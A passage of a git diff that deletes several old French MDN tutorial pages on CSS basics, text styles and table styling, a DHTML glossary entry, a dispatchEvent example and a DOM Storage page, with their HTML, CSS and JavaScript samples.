-

Enregistrez le fichier et actualisez l'affichage de votre navigateur. La feuille de style rend les lettres initiales rouges, comme ceci :

- - - - - - -
Cascading Style Sheets
- - - - - - - -
- Challenge
En plus du rouge (red), CSS permet d'utiliser d'autres noms de couleurs. -

Sans regarder dans une référence, trouvez cinq autres noms de couleurs qui fonctionnent dans votre feuille de style.

-
-

Pour continuer

-

Si vous avez des difficultés à comprendre cette page, ou si vous avez des commentaires, contribuez à sa page de discussion.

-

Maintenant que vous avez un document lié à une feuille de style séparée, vous pouvez en apprendre plus sur la manière dont votre navigateur les combine lors de l'affichage du document : Fonctionnement de CSS.

-

 

diff --git "a/files/fr/css/premiers_pas/pr\303\251sentation_des_css/index.html" "b/files/fr/css/premiers_pas/pr\303\251sentation_des_css/index.html" deleted file mode 100644 index 1782164624..0000000000 --- "a/files/fr/css/premiers_pas/pr\303\251sentation_des_css/index.html" +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Présentation des CSS -slug: CSS/Premiers_pas/Présentation_des_CSS -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS ---- -

-{{previousPage("/fr/docs/CSS/Premiers_pas", "Premiers pas")}} -Cette page explique ce que sont les CSS. Vous y créerez un document simple avec lequel vous travaillerez au fil des pages suivantes.

-

Information : CSS, ce dont il s'agit

-

CSS est un langage permettant de spécifier comment les documents sont présentés à l'utilisateur.

-

Un - - document - est une collection d'informations structurées à l'aide d'un - - langage de balisage - (markup language).

- - - - - - - -
- Exemples
-
    -
  • Une page Web comme celle-ci est un document.
    - Les informations que vous voyez dans une page Web sont généralement structurées à l'aide du langage HTML (HyperText Markup Language).
    • -
-
    -
  • Un dialogue dans une application Mozilla est un document.
    - Les contrôles de l'interface utilisateur visibles dans un dialogue de Mozilla sont structurés à l'aide du langage de balisage XUL (XML User-interface Language).
    • -
-
-

Dans ce tutoriel, des boîtes nommées Détails supplémentaires comme celle ci-dessous contiennent des informations optionnelles. Si vous êtes pressé(e) d'avancer dans le tutoriel, vous pouvez passer ces boîtes, pour éventuellement revenir les lire plus tard. Sinon, lisez-les au fil de votre parcours, et suivez les liens pour en savoir plus.

- - - - - - - -
- Détails supplémentaires
-

Un document n'est pas la même chose qu'un fichier. Il peut ou non être stocké dans un fichier.

-

Par exemple, le document que vous êtes en train de lire n'est pas stocké dans un fichier. Lorsque votre navigateur Web demande cette page, le serveur interroge une base de données et génère le document, assemblant les différentes parties depuis de nombreux fichiers. Cependant, dans ce tutoriel, vous travaillerez avec des documents stockés dans des fichiers.

-

Pour plus d'informations à propos des documents et des langages de balisage, consultez les autres parties de ce site, par exemple :

- - - - - - - - - - - - - - - - - - - -
HTMLpour les pages Web
XMLpour les documents structurés en général
SVGpour les documents graphiques
XULpour les interfaces utilisateur dans Mozilla
-

Dans la partie II de ce tutoriel, vous verrez des exemples de ces langages de balisage.

-
-

- - Présenter - un document à l'utilisateur signifie le convertir dans une forme utilisable par un être humain. Mozilla est conçu pour présenter des documents visuellement, par exemple sur un écran d'ordinateur, un projecteur ou une imprimante.

- - - - - - - -
- Détails supplémentaires
CSS ne sert pas uniquement aux navigateurs, ni pour des présentations visuelles. Dans la terminologie formelle CSS, le programme présentant un document à l'utilisateur est appelé - - agent utilisateur - (user agent ou UA). Un navigateur est simplement une sorte d'UA. Cependant, dans la partie I de ce tutoriel, vous travaillerez uniquement avec CSS dans un navigateur. -

Pour les définitions formelles de la terminologie liée à CSS, voir Définitions dans la spécification CSS.

-
-

Action : création d'un document

-

Utilisez votre ordinateur pour créer un nouveau dossier et un nouveau fichier texte à l'intérieur de celui-ci. Ce fichier contiendra votre document.

-

Copiez et collez le HTML affiché ci-dessous. Enregistrez le fichier sous le nom doc1.html

-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-<html>
-  <head>
-  <title>Document de démonstration</title>
-  <meta http-equiv="Content-Type" content="text/html;
-  charset=iso-8859-1">
-  </head>
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-

Dans votre navigateur, ouvrez un nouvel onglet ou une nouvelle fenêtre, et ouvrez-y le fichier.

-

Vous devriez voir le texte avec les lettres initales en gras, comme ceci :

- - - - - - -
Cascading Style Sheets
-

Ce que vous voyez dans votre navigateur peut ne pas apparaître exactement comme cela, suivant les paramètres de votre navigateur et de ce wiki. S'il y a certaines différences dans la police, l'espacement et les couleurs, elles ne sont pas importantes.

-

Pour continuer

-

-{{nextPage("/fr/docs/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "Pourquoi utiliser CSS")}} -Votre document n'utilise pas encore CSS. Sur la page suivante, vous utiliserez CSS pour spécifier son propre style : Pourquoi utiliser CSS.

diff --git a/files/fr/css/premiers_pas/styles_de_texte/index.html b/files/fr/css/premiers_pas/styles_de_texte/index.html deleted file mode 100644 index 61bccf32f1..0000000000 --- a/files/fr/css/premiers_pas/styles_de_texte/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Styles de texte -slug: CSS/Premiers_pas/Styles_de_texte -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles ---- -

 

-

Cette page vous donne plus d'exemples de styles de texte.

-

Vous modifierez votre feuille de style pour utiliser différentes polices.

-

Information : les styles de texte

-

CSS dispose de plusieurs propriétés pour les styles de texte.

-

Il existe une propriété raccourcie pratique, font, que vous pouvez utiliser pour spécifier plusieurs choses à la fois — par exemple :

-
  • Les styles gras, italique et petites majuscules (petites capitales)
  • La taille du texte
  • La hauteur de ligne
  • La police utilisée
    • -
- -
Exemple 
-p {font: italic 75%/125% "Comic Sans MS", cursive;}
-

Cette règle change plusieurs propriétés de la police, et rend tous les paragraphes en italique.

La taille du texte est définie aux trois quarts de la taille dans l'élément parent de chaque paragraphe, et la hauteur de ligne à 125% (un petit peu plus espacé qu'habituellement).

La police choisie est Comic Sans MS, mais si celle-ci n'est pas disponible le navigateur utilisera sa police cursive (écriture à la main) par défaut.

La règle a un effet de bord qui est de désactiver le gras et les petites majuscules (en les définissant à normal).
-

Polices

-

Il n'est pas possible de prédire les polices que les lecteurs de votre document auront. C'est pourquoi, lorsque vous spécifiez une police, il est utile de donner une liste d'alternatives, dans l'ordre de préférence.

-

À la fin de la liste, indiquez l'un des types de polices génériques par défaut : serif, sans-serif, cursive, fantasy ou monospace. (Celles-ci correspondent souvent à des paramètres définis dans les options de votre navigateur.)

-

Si la police ne permet pas d'afficher certaines parties du document, le navigateur peut lui substituer une autre police. Par exemple, le document peut contenir des caractères spéciaux qui ne sont pas définis dans la police. Si le navigateur arrive à trouver une autre police qui dispose de ces caractères, il utilisera celle-ci.

-

Pour spécifier une police particulière, utilisez la propriété font-face.

-

Taille de police

-

Les lecteurs utilisant des navigateurs Mozilla peuvent choisir la taille de police par défaut dans les options et changer la taille du texte pendant la lecture d'une page, il est donc recommandé d'utiliser des tailles de police relatives où c'est possible.

-

Vous pouvez utiliser certaines valeurs prédéfinies pour la taille, comme small, medium et large. Vous pouvez également utiliser des valeurs relatives à la taille de police de l'élément parent, comme ceci : smaller, larger, 150% ou 1.5.

-

Si nécessaire, vous pouvez spécifier une taille précise, comme : 12px (12 pixels) pour un dispositif d'affichage ou 12pt (12 points) pour une imprimante. Cette taille est théoriquement la largeur d'une lettre m, mais la manière dont la taille visible est liée à la taille spécifiée dépend d'une police à l'autre.

-

Pour spécifier une taille de police particulière, utilisez la propriété font-size.

-

Hauteur de ligne

-

La hauteur de ligne spécifie l'espacement entre les lignes. Si votre document dispose de longs paragraphes s'étalant sur de nombreuses lignes, un espacement plus grand que d'habitude peut le rendre plus facile à lire, particulièrement si la taille de police est petite.

-

Pour spécifier une hauteur de ligne particulière, utilisez la propriété line-height.

-

Décoration

-

La propriété séparée text-decoration permet de spécifier d'autres styles, comme underline (souligné), ou line-through (barré). Vous pouvez la définir à normal pour enlever explicitement toute décoration.

-

Autres propriétés

-

Pour spécifier l'italique, utilisez font-style: italic;
-Pour spécifier le gras, utilisez font-weight: bold;
-Pour spécifier de petites majuscules, utilisez font-variant: small-caps;

-

Pour désactiver individuellement chacune de ces propriétés, vous pouvez spécifier la valeur normal ou inherit.

- -
Plus de détails
Vous pouvez spécifier des styles de texte de bien d'autres manières.

Par exemple, certaines des propriétés mentionnées ici disposent d'autres valeurs possibles.

Dans une feuille de style complexe, évitez d'utiliser la propriété raccourcie font, à cause de ses effets de bord (mise à zéro des autres propriétés).

Pour plus de détails sur l'ensemble des propriétés liées aux polices, consultez Fonts dans la spécification CSS. Pour plus de détails sur la décoration du texte, consultez-y la section Text.
-

Action : spécification de polices

-

Pour un document simple, vous pouvez définir la police sur l'élément BODY, et tout le reste du document en héritera.

-

Éditez votre fichier CSS. Ajoutez cette règle pour changer la police globale. Le haut du fichier CSS est un endroit logique pour ce faire, mais la règle a le même effet où qu'elle soit placée :

-
-
body {font: 16px "Comic Sans MS", cursive;}
-
-
-

Ajoutez un commentaire expliquant la règle, et des espaces pour respecter la mise en page choisie.

-

Actualisez dans votre navigateur pour en voir l'effet. Si votre système dispose de Comic Sans MS, ou d'une autre police cursive qui ne supporte pas l'italique, votre navigateur choisira une police différente pour le texte en italique à la première ligne :

- -
Cascading Style Sheets
Cascading Style Sheets
-

Depuis la barre de menus, choisissez Affichage – Taille du texte – Plus grande. Bien que vous ayez spécifié précisément 16 pixels dans le style, un utilisateur lisant le document peut en changer la taille.

-

 

- -
Challenge
Sans rien changer d'autre, rendez les six lettres initiales deux fois plus grandes que la taille normale dans la police serif par défaut du navigateur :
Cascading Style Sheets
Cascading Style Sheets
-

 

-

Pour continuer

-

Votre document d'exemple utilise déjà plusieurs noms de couleurs. La page suivante liste les noms des couleurs standard et explique comment en spécifier d'autres : Couleurs

- -

{{ languages( { "en": "en/CSS/Getting_Started/Text_styles", "it": "it/Conoscere_i_CSS/Stili_del_testo", "ja": "ja/CSS/Getting_Started/Text_styles", "pl": "pl/CSS/Na_pocz\u0105tek/Style_tekstowe", "pt": "pt/CSS/Como_come\u00e7ar/Estilos_de_texto" } ) }}

diff --git a/files/fr/css/premiers_pas/tableaux/index.html b/files/fr/css/premiers_pas/tableaux/index.html deleted file mode 100644 index 9fcc9dbd2d..0000000000 --- a/files/fr/css/premiers_pas/tableaux/index.html +++ /dev/null @@ -1,602 +0,0 @@ ---- -title: Tableaux -slug: CSS/Premiers_pas/Tableaux -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables ---- -

 

-

Cette page présente des sélecteurs plus avancés, et certaines manières spécifiques de styler les tableaux.

-

Vous créerez un nouveau document contenant un tableau, et une feuille de style pour celui-ci.

-

Information : d'autres sélecteurs

-

CSS propose plusieurs manières de sélectionner des éléments sur base de leur relation avec d'autres éléments. Vous pouvez utiliser celles-ci pour créer des sélecteurs plus spécifiques.

-

Voici un résumé des sélecteurs basés sur les relations :

- - - - - - - - - - - - - - - - - - - - - - - -
SélecteurSélectionne
A ETout élément E qui est un descendant d'un élément A (c'est-à-dire un enfant, ou l'enfant d'un enfant, etc.)
A > ETout élément E qui est un enfant direct d'un élément A
E:first-childTout élément E qui est le premier enfant de son parent
B + ETout élément E qui est le frère d'un élément B (c'est-à-dire l'enfant suivant du même parent)
-

Vous pouvez combiner ceux-ci pour exprimer des relations complexes.

-

Vous pouvez également utiliser le symbole * (astérisque) pour désigner « n'importe quel élément. »

- - - - - - - -
- Exemple
Un tableau HTML a un attribut id, mais ses lignes et cellules n'ont pas d'identifiants individuels : -
- 
-<TABLE id="data-table-1">
-...
-<TR>
-<TD>Préfixe</TD>
-<TD>0001</TD>
-<TD>par défaut</TD>
-</TR>
-...
-
-
-

Ces règles rendent la première cellule de chaque ligne en gras, et la seconde cellule de chaque ligne en largeur fixe. Elles affectent un tableau spécifique dans le document :

-
-

#data-table-1 td:first-child {font-weight: bolder;} #data-table-1 td:first-child + td {font-family: monospace;}

-
-

Le résultat ressemble à ceci :

- - - - - - -
- - - - - - - - -
Préfixe0001par défaut
-
-
- - - - - - - -
- Plus de détails
Comme d'habitude, si vous rendez un sélecteur plus spécifique, vous augmentez sa priorité. -

Si vous utilisez ces techniques, vous évitez le besoin de spécifier des attributs class ou id sur une énorme quantité de balises dans votre document. Au lieu de cela, c'est CSS qui fait tout le travail.

-

Dans de grosses mises en pages où la vitesse est importante, vous pouvez rendre vos feuilles de style plus performantes en évitant les règles complexes qui dépendent des relations entre éléments.

-

Pour plus de détails sur les sélecteurs, consultez Selectors dans la spécification CSS.

-
-

Information : les tableaux

-

Un tableau est un arrangement d'informations dans une grille rectangulaire. Certains tableaux peuvent être complexes, et pour des tableaux complexes les résultats peuvent être différents selon le navigateur.

-

Lorsque vous concevez votre document, utilisez un tableau pour exprimer les relations entre les pièces d'information. Dans ce cas, cela n'a pas d'importance si différents navigateurs présentent les informations de manière légèrement différente, puisque leur signification reste claire.

-

N'utilisez pas les tableaux de manière inhabituelle pour produire des mises en page visuelles particulières. Les techniques présentées sur la page précédente (Mise en page) sont plus appropriées pour cela.

-

Structure d'un tableau

-

Dans un tableau, chaque élément d'information est affiché dans une cellule.

-

Une rangée horizontale de cellules forme une ligne.

-

Dans certains tableaux, les lignes peuvent être groupées. Un groupe spécial de lignes au début du tableau est un en-tête (header) de tableau. Un groupe spécial de lignes en fin de tableau est un pied (footer) de tableau. Les lignes principales sont le corps (body) du tableau, et peuvent également former des groupes.

-

Les cellules alignées verticalement forment une colonne, mais les colonnes ont une utilisation limitée en CSS.

- - - - - - - -
- Exemple
Le tableau des sélecteurs en début de page contient dix cellules réparties en cinq lignes. -

La première ligne est l'en-tête. Les quatre autres lignes sont le corps du tableau. Il n'y a pas de pied de tableau.

-

Il y a deux colonnes.

-
-


- Ce tutoriel couvre uniquement les tableaux simples, où les résultats sont relativement prévisibles. Dans un tableau simple, chaque cellule occupe uniquement une ligne et une colonne. Vous pouvez utiliser CSS pour des tableaux complexes ou les cellules s'étendent au travers de plus d'une ligne ou colonne, mais de telles tables dépassent le sujet de ce tutoriel basique.

-

Bordures

-

Les cellules n'ont pas de marge extérieure (margin).

-

Les cellules ont des bordures et des marges intérieures (padding). Par défaut, les bordures sont séparées par la valeur de la propriété border-spacing du tableau. Vous pouvez également supprimer tout à fait cet espace en définissant la propriété border-collapse du tableau à collapse.

- - - - - - - -
- Exemple
Voici trois tableaux. -

Le tableau de gauche a un espacement entre les bordures de 0.5 em. Le tableau central a un espacement nul entre ses bordures. Dans le tableau de droite, cet espacement a été supprimé avec collapse :

- - - - - - - - -
- - - - - - - - - - - -
TrèfleCœur
CarreauPique
- 		- - - - - - - - - - - -
TrèfleCœur
CarreauPique
- 		- - - - - - - - - - - -
TrèfleCœur
CarreauPique
-
-
-

Légendes

-

Une légende (caption) est un label qui s'applique à l'entièreté du tableau. Par défaut, elle est affichée en haut du tableau.

-

Pour la déplacer en bas, définissez sa propriété caption-side à bottom (en bas). La propriété est héritée, vous pouvez donc aussi la définir sur le tableau complet, ou un autre ancêtre de l'élément.

-

Pour styler le texte de la légende, utilisez n'importe laquelle des propriétés habituelles du texte.

- - - - - - - -
- Exemple
Ce tableau a une légende placée en dessous : -
- 
-#demo-table > caption {
-  caption-side: bottom;
-  font-style: italic;
-  text-align: right;
-  }
-
-
- - - - - - -
- - - - - - - -
- Suites
- - - - - - - - - - - -
TrèfleCœur
CarreauPique
-
-
-
-

Cellules vides

-

Il est possible d'afficher des cellules vides (c'est-à-dire leurs bordures et fonds) en spéficiant empty-cells: show; pour l'élément table.

-

Vous pouvez les masquer en spécifiant empty-cells: hide;. Dans ce cas, si un élément parent a un fond, il sera visible à travers la cellule vide.

- - - - - - - -
- Exemple
Ces tableaux ont un fond vert pâle. Leurs cellules ont un fond gris pâle et des bords gris foncé. -

Dans le tableau de gauche, la cellule vide est affichée. Dans celui de droite, celle-ci est masquée :

- - - - - - - -
- - - - - - - - - - - -
 Cœur
CarreauPique
- 		- - - - - - - - - - - -
 Cœur
CarreauPique
-
-
-

 

- - - - - - - -
- Plus de détails
Pour des informations détaillées concernant les tableaux, consultez Tables dans la spécification CSS. -

Les informations qui s'y trouvent vont plus loin que ce tutoriel, mais elles ne couvrent pas les différences entre navigateurs qui peuvent affecter les tableaux complexes.

-
-

Action : habillage d'un tableau

-

Créez un nouveau document HTML, doc3.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de le faire défiler jusqu'en bas pour en obtenir la totalité :

-
- 
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Document exemple 3</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style3.css">
-</HEAD>
-<BODY>
-
-<TABLE id="demo-table">
-<CAPTION>Les océans</CAPTION>
-
-<THEAD>
-<TR>
-<TH></TH>
-<TH>Surface</TH>
-<TH>Profondeur moyenne</TH>
-</TR>
-<TR>
-<TH></TH>
-<TH>millions de km<SUP>2</SUP></TH>
-<TH>m</TH>
-</TR>
-</THEAD>
-
-<TBODY>
-<TR>
-<TH>Arctique</TH>
-<TD>13 000</TD>
-<TD>1 200</TD>
-</TR>
-<TR>
-<TH>Atlantique</TH>
-<TD>87 000</TD>
-<TD>3 900</TD>
-</TR>
-<TR>
-<TH>Pacifique</TH>
-<TD>180 000</TD>
-<TD>4 000</TD>
-</TR>
-<TR>
-<TH>Indien</TH>
-<TD>75 000</TD>
-<TD>3 900</TD>
-</TR>
-<TR>
-<TH>Antarctique</TH>
-<TD>20 000</TD>
-<TD>4 500</TD>
-</TR>
-</TBODY>
-
-<TFOOT>
-<TR>
-<TH>Total</TH>
-<TD>361 000</TD>
-<TD></TD>
-</TR>
-<TR>
-<TH>Moyenne</TH>
-<TD>72 000</TD>
-<TD>3 800</TD>
-</TR>
-</TFOOT>
-
-</TABLE>
-
-</BODY>
-</HTML>
-
-
-

Créez une nouvelle feuille de style, style3.css. Copiez et collez-y le code ci-dessous, en vous assurant de le faire défiler jusqu'en bas pour en obtenir la totalité :

-
- 
/*** Style pour doc3.html (Tables) ***/
-
-#demo-table {
-  font: 100% sans-serif;
-  background-color: #efe;
-  border-collapse: collapse;
-  empty-cells: show;
-  border: 1px solid #7a7;
-  }
-
-#demo-table > caption {
-  text-align: left;
-  font-weight: bold;
-  font-size: 200%;
-  border-bottom: .2em solid #4ca;
-  margin-bottom: .5em;
-  }
-
-
-/* règles de base partagées */
-#demo-table th,
-#demo-table td {
-  text-align: right;
-  padding-right: .5em;
-  }
-
-#demo-table th {
-  font-weight: bold;
-  padding-left: .5em;
-  }
-
-
-/* en-tête */
-#demo-table > thead > tr:first-child > th {
-  text-align: center;
-  color: blue;
-  }
-
-#demo-table > thead > tr + tr > th {
-  font-style: italic;
-  color: gray;
-  }
-
-/* taille des valeurs en exposant */
-#demo-table sup {
-  font-size: 75%;
-  }
-
-/* corps du tableau */
-#demo-table td {
-  background-color: #cef;
-  padding:.5em .5em .5em 3em;
-  }
-
-#demo-table tbody th:after {
-  content: " :";
-  }
-
-
-/* pied du tableau */
-#demo-table tfoot {
-  font-weight: bold;
-  }
-
-#demo-table tfoot th {
-  color: blue;
-  }
-
-#demo-table tfoot th:after {
-  content: " :";
-  }
-
-#demo-table > tfoot td {
-  background-color: #cee;
-  }
-
-#demo-table > tfoot > tr:first-child td {
-  border-top: .2em solid #7a7;
-  }
-
-
-

Ouvrez le document dans votre navigateur. Il devrait être très semblable à ceci :

- - - - - - -
-
-

Les océans

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 SurfaceProfondeur moyenne
 millions de km2m
Arctique :13 0001 200
Atlantique :87 0003 900
Pacifique :180 0004 000
Indien :75 0003 900
Antarctique :20 0004 500
Total :361 000 
Moyenne :72 0003 800
-
-
-
-

Comparez les règles dans la feuille de style avec le tableau tel qu'il est affiché pour vous assurer que vous comprenez les effets de chaque règle. Si vous en trouvez une où ce n'est pas clair, mettez-la en commentaire et actualisez dans votre navigateur pour voir ce qui se produit.

-

Voici quelques notes à propos de ce tableau :

-
    -
  • La légende (caption) se trouve à l'extérieur de la bordure du tableau.
    • -
  • Si une taille minimale de police est définie dans les options, elle peut affecter l'exposant dans km2.
    • -
  • Trois cellules sont vides. Deux d'entre-elles laissent le fond du tableau visible. La troisème a un fond et une bordure supérieure.
    • -
  • Les deux points sont ajoutés par la feuille de style.
    • -
-

 

- - - - - - - -
- Challenges
Modifiez la feuille de style afin que le tableau ressemble à ceci : - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 SurfaceProfondeur moyenne
 millions de km2m
Arctique :13 0001 200
Atlantique :87 0003 900
Pacifique :180 0004 000
Indien :75 0003 900
Antarctique :20 0004 500
Total :361 000 
Moyenne :72 0003 800
-
-

Les océans

-
-
-
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Ceci est la dernière page de ce tutoriel qui concerne les propriétés CSS et leurs valeurs. Pour un résumé complet des propriétés et valeurs, consultez Full property table dans la spécification CSS.

-

La page suivante revient sur le but et la structure des feuilles de style CSS : Médias.

diff --git a/files/fr/dhtml/index.html b/files/fr/dhtml/index.html deleted file mode 100644 index 5fd5d90fee..0000000000 --- a/files/fr/dhtml/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: DHTML -slug: DHTML -tags: - - DHTML - - Encodage - - Glossaire - - HTML -translation_of: Glossary/DHTML ---- -
DHTML est une abréviation de « dynamic {{glossary("HTML")}})  » (HTML dynamique). Le terme DHTML fait généralement référence à des pages Web interactives qui ne sont pas animées par des plugins tels que {{Glossary("Adobe Flash","Flash")}} ou {{Glossary("Java")}}. Il combine les fonctionnalités des {{Glossary("HTML")}} , {{Glossary("CSS")}} , du {{Glossary("DOM")}} et {{Glossary("JavaScript")}}.
- -

En apprendre plus

- -

Culture générale

- -

Categories {{interwiki("wikipedia","HTML_dynamique","DHTML")}} sur Wikipedia

- -

 

- -


- Interwiki Language Link

diff --git a/files/fr/dom/dispatchevent_exemple/index.html b/files/fr/dom/dispatchevent_exemple/index.html deleted file mode 100644 index c075a3eec7..0000000000 --- a/files/fr/dom/dispatchevent_exemple/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: dispatchEvent exemple -slug: DOM/dispatchEvent_exemple -tags: - - Référence_du_DOM_Gecko -translation_of: Web/Guide/Events/Creating_and_triggering_events -translation_of_original: Web/Guide/Events/Event_dispatching_example ---- -
- {{ ApiRef() }}
-

Cet exemple montre la simulation d'un clic sur une case à cocher, à l'aide des méthodes DOM. Vous pouvez le voir en action ici.

-
function simulateClick() {
-  var evt = document.createEvent("MouseEvents");
-  evt.initMouseEvent("click", true, true, window,
-    0, 0, 0, 0, 0, false, false, false, false, 0, null);
-  var cb = document.getElementById("checkbox");
-  var canceled = !cb.dispatchEvent(evt);
-  if(canceled) {
-    // Un gestionnaire a appelé preventDefault
-    alert("canceled");
-  } else {
-    // Aucun gestionnaire n'a appelé preventDefault
-    alert("not canceled");
-  }
-}
-
-

 

-
-  
-

{{ languages( { "en": "en/DOM/dispatchEvent_example", "es": "es/DOM/dispatchEvent_example", "pl": "pl/DOM/dispatchEvent_-_przyk\u0142ad" } ) }}

diff --git a/files/fr/dom/storage/index.html b/files/fr/dom/storage/index.html deleted file mode 100644 index 2b52e93ad8..0000000000 --- a/files/fr/dom/storage/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Storage -slug: DOM/Storage -tags: - - Applications_web_hors_ligne - - DOM - - JavaScript - - Référence_du_DOM_Gecko -translation_of: Web/API/Web_Storage_API -translation_of_original: Web/Guide/API/DOM/Storage ---- -

{{ ApiRef() }} {{ Fx_minversion_header(2) }}

-
-

Cette traduction est complètement obsolète, veuillez consulter l'original anaglais)

-
-

Résumé

-

DOM Storage est le nom donné à l'ensemble des fonctionnalités de stockage introduites dans la spécification Web Applications 1.0. DOM Storage est conçu pour fournir une alternative aux cookies pour le stockage d'informations, alternative plus grande, plus sûre et plus facile à utiliser. DOM Storage n'est actuellement disponible que dans les navigateurs basés sur Mozilla, en particulier Firefox 2 et suivants.

-
- Note : DOM Storage ne doit pas être confondu avec mozStorage (les interfaces XPCOM de Mozilla vers SQLite) ou l'API de restauration de session (un utilitaire de stockage XPCOM utilisable par les extensions).
-

Description

-

Le mécanisme DOM Storage est un moyen par lequel des paires de chaînes clé/valeur peuvent être stockées de manière sûre et récupérées pour être utilisées plus tard. L'ajout de cette fonctionnalité a pour but de fournir un moyen complet par lequel des applications interactives peuvent être construites (avec des possibilités avancées, comme la possibilité de travailler « hors ligne » pendant des périodes prolongées).

-

Pour l'instant, seuls les navigateurs basés sur Mozilla fournissent une implémentation fonctionnelle de la spécification DOM Storage. Cependant, Internet Explorer dispose d'une fonctionnalité semblable appelée « userData behavior » qui permet également de conserver des données d'une session de navigation à une autre.

-

DOM Storage est utile car il n'existe aucune bonne méthode limitée au navigateur pour conserver une quantité raisonnable de données pour une période donnée. Les cookies de navigation ont une capacité limitée et ne permettent pas d'organiser les données conservées, tandis que d'autres méthodes (comme Flash Local Storage) nécessitent un plugin externe.

-

Une des premières applications publiques à utiliser la fonctionnalité DOM Storage (en plus de la fonctionnalité userData Behavior d'Internet Explorer) a été halfnote (une application de prise de notes) écrite par Aaron Boodman. Dans son application, Aaron enregistre de manière simultanée les notes sur un serveur distant (lorsque la connexion Internet est disponible) et dans un espace d'enregistrement local. Cette méthode permet à l'utilisateur de rédiger ses notes de manière sûre, même avec une connexion Internet sporadique.

-

Bien que le concept et l'implémentation présentés dans halfnote soient relativement simples, sa création montre la possibilité d'une nouvelle gamme d'applications Web utilisables tant en ligne qu'hors ligne.

-

Référence

-

Les objets suivants sont globaux et existent comme propriétés de tout objet window. Cela signifie qu'on peut y accéder avec sessionStorage ou window.sessionStorage. (c'est important à savoir, parce qu'on peut alors utiliser des iframes pour stocker ou accéder à des données supplémentaires à celles immédiatement disponibles dans la page).

-

sessionStorage

-

Il s'agit d'un objet global (sessionStorage) qui conserve un espace de stockage disponible pour toute la durée de la session de la page. Une session de page dure aussi longtemps que le navigateur est ouvert et se poursuit au travers des rechargements de la page. L'ouverture d'une page dans un nouvel onglet ou une nouvelle fenêtre provoquera la création d'une nouvelle session pour la page.

-
// Enregistre des données dans l'espace de stockage de la session courante
-sessionStorage.username = "John";
-
-// Accède à une donnée stockée
-alert( "username = " + sessionStorage.username );
-
-

L'objet sessionStorage est surtout utile pour conserver des données temporaires qui doivent être enregistrées et restaurées si la fenêtre du navigateur est accidentellement ou volontairement rafraichie.

-
- Note : sessionStorage devrait également être capable de restaurer les données après un crash (et une restauration de la session) du navigateur, mais suite au {{ Bug(339445) }} cela ne fonctionne pas encore dans Firefox. Tant qu'il n'est pas résolu, l'utilisation de sessionStorage comme mesure préventive est discutable.
-

Exemples :

-

Enregistre automatiquement le contenu d'un champ texte et, si la page est rafraichie accidentellement, restaure ce contenu afin qu'aucun texte ne soit perdu.

-
 // Recherche le champ texte à suivre
- var field = document.getElementById("field");
-
- // Vérifie s'il y a une valeur de sauvegarde automatique
- // (ce qui se produira uniquement si la page est rafraichie)
- if ( sessionStorage.autosave ) {
-     // Restaure le contenu du champ texte
-     field.value = sessionStorage.autosave;
- }
-
- // Vérifie le contenu du champ texte à chaque seconde
- setInterval(function(){
-     // Et enregistre le résultat dans l'objet de stockage de session
-     sessionStorage.autosave = field.value;
- }, 1000);
-
-

Pour plus d'informations :

- -

globalStorage

-

{{ Non-standard_header() }} Il s'agit d'un objet global (globalStorage) qui conserve une série d'espaces de stockage privés pour conserver des données sur une longue période de temps (par exemple depuis plusieurs pages et d'une session de navigation à l'autre).

-
// Enregistre des données auxquelles seuls les scripts du domaine peuvent accéder
-globalStorage['mozilla.org'].snippet = "<b>Hello</b>, comment ça va ?";
-
-// Enregistre des données auxquelles toute page Web, sur n'importe quel domaine, peut accéder
-globalStorage[''].favBrowser = "Firefox";
-
-

Plus précisément, l'objet globalStorage permet d'accéder à différents objets de stockage dans lesquels des données peuvent être enregistrées. Par exemple, si l'on voulait construire une page Web utilisant globalStorage sur ce domaine (developer.mozilla.org) nous devrions disposer de l'objet de stockage suivant :

-
    -
  • globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} — Toutes les pages Web au sein du sous-domaine developer.mozilla.org peuvent lire et écrire des données dans cet objet de stockage.
    • -
-

{{ Fx_minversion_note(3, "Firefox 2 permettait d\'accéder à des objets de stockage plus haut dans la hiérarchie de domaine que le document actuel. Ce n\'est plus permis dans Firefox 3, pour des raisons de sécurité. Cet ajout à HTML 5 a également été retiré des spécifications HTML 5 en faveur de localStorage, qui n\'a pas encore été implémenté dans Firefox.") }}

-

Exemples :

-

Pour tous ces exemples, vous aurez besoin d'insérer un script (en plus des lignes de codes suivantes) dans chaque page sur laquelle vous désirez afficher le résultat.

-

Retient le nom d'utilisateur d'un visiteur pour le sous-domaine particulier visité :

-
 globalStorage['developer.mozilla.org'].username = "John";
-
-

Compte le nombre de fois qu'un visiteur visite n'importe quelle page de votre domaine :

-
 // parseInt doit être utilisée car toutes les données sont stockées comme des chaînes
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
-

Pour plus d'informations

- -

Exemples

- -

Sujets liés

- -
-  
-
-

